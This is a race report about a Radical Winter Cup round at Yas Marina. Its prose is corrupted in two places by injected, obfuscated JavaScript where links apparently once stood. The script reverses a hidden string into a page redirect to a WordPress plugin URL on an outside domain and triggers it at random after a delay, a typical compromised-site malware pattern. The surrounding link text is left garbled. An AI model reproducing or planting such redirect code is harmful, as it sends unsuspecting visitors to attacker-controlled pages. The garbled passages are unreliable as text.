AbdulRahman Al Thani and Jordan Grogor face a stiff challenge from UK Radicals Champions Tony Wells and James Littlejohn on their way to Radical Winter Cup victory at the Yas Marina Circuit, while debutants Ramez Azzam and Zaamin Jaffer, and Tom Jordan and Alex Kapadia take the spoils in the SR3 category.
One round on from $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/radical-winter-cup-round-3-dubai-autodrome-guest-of-honour/” target=”_blank”>Edward Jones’ stellar guest performance at the Dubai Autodrome, UK Radical Champions Tony Wells and James Littlejohn could have been forgiven for thinking that a waltz to victory lane was on the cards at the latest $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/radicals/” target=”_blank”>Radical Winter Cup round at Yas Marina. AbdulRahman Al-Thani and Jordan Grogor in the #1 SR8 though had other ideas.
The ‘newboys’ threw down the gauntlet down early, being bested by Al Thani and Grogor in the first qualifying session by just over two-tenths of a second. Wells and Littlejohn would bounce back though to secure the top spot for race two. Clearly victory was on the agenda, Wells demonstrating as such with a terrific start from the blocks in race one.
Having caught polesitter Al Thani unawares, the #3 SR8 was around the outside of turn one and barrelling onto the racing line for the upcoming chicane before the Qatari driver could react. The chasing pack – led by fellow SR8 rivals Bassam Kronfli and the #21 Richard Sykes/Charlie Kemp machine – was breathing down his racesuit collar. By the time Al Thani had regained momentum, Wells was already nearly a second ahead of the #1 car.
The lead pair got the hammer down and were soon starting to slowly drop Kronfli’s pursuing #9 entry, though the evo Middle East Editor-In-Chief was at least putting the gearbox issues that curtailed his qualifying session to rest by opening a gap to Sykes. The gaps amidst the top four began to widen, though Wells held only a half a second margin when the pit stop window opened. The running order was about to change.
In fairness, Wells was not the only on to stall on pitroad, but the vital seconds lost – allied with slick pitstops from the SR8 crews – meant that not only was the Grogor/Al Thani #1 car able to leap ahead, but so too was the chasing Kronfli. Sykes and Kemp in fourth, having put their gearbox maladies to bed from the previous round, were not quite close enough to take advantage though.
Screaming his way back onto the track, Wells (driving solo in race one) was now over nine seconds off the lead. But with Grogor the only driver lapping in the 59s, and Kronfli putting into a series of qualifying-esque runs, there was little Wells could do to stop the locals securing the top two places respectively in race one.
